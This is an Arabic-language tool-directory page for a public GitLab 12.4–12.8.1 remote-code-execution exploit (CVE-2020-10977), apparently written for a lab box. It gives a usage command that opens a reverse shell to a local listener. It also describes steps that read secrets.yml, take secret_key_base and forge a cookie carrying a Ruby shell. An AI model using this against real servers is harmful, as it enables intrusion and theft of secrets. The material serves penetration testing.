Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-10977 — Gitlab v12.4.0-8.1 RCE | Kitploit
أدوات/GitHubGitHub/liath/cve-2020-10977
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHubliath/cve-2020-10977

CVE-2020-10977

Gitlab v12.4.0-8.1 RCE

عرض المستودع
21منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

GitLab v12.4.0-12.8.1 RCE

مبني بالكامل على https://github.com/dotPY-hax/gitlab_RCE، والذي لم يعمل بالنسبة لي وكان تحليل HTML مزعجًا، لذا أعدت كتابته باستخدام JavaScript.

الاستخدام

ابدأ معالج الصدفة العكسي بالطريقة المعتادة، ثم شغّل هذا السكريبت باستخدام:

root@kitploit:~
TARGET_URI="https://target" TARGET_EMAIL_DOMAIN="laboratory.htb" \
 TARGET_USER="test" TARGET_PASSWORD="Test pass 123" \
 LOCAL_IP="10.10.14.142" LOCAL_PORT="44044" \
 node gitlab_rce.js

يمكن تحديد بروكسي باستخدام TUNNEL_HOST="127.0.0.1" TUNNEL_PORT="8080". Burp مفيد بشكل خاص لتصحيح الأخطاء بهذا.

ما يفعله هذا

  1. يتحقق مما إذا كان الهدف قيد التشغيل
  2. إذا كان المستخدم المقدم موجودًا، يتجاوز إلى الخطوة 5
  3. يمسح عن اسم مستخدم غير موجود بالفعل
  4. ينشئ هذا المستخدم
  5. يحاول تسجيل الدخول
  6. ينشئ مشروعين فارغين
  7. ينشئ تذكرة إصدار جديدة تحتوي على رابط ضار في نصها في المشروع الأول
  8. ينقل التذكرة الجديدة إلى المشروع الآخر، مما يتسبب في قيام GitLab بإعادة كتابة الرابط الضار ونسخ الملف الذي يشير إليه داخل مجلد uploads
  9. يجلب الملف الهدف، في هذه الحالة نريد ملف secrets.yml للحصول على secret_key_base
  10. يستخدم secret_key_base لصياغة ملف تعريف ارتباط ضار يحتوي على شل Ruby الخاص بنا ويمرّره إلى GitLab
تنزيل الأداة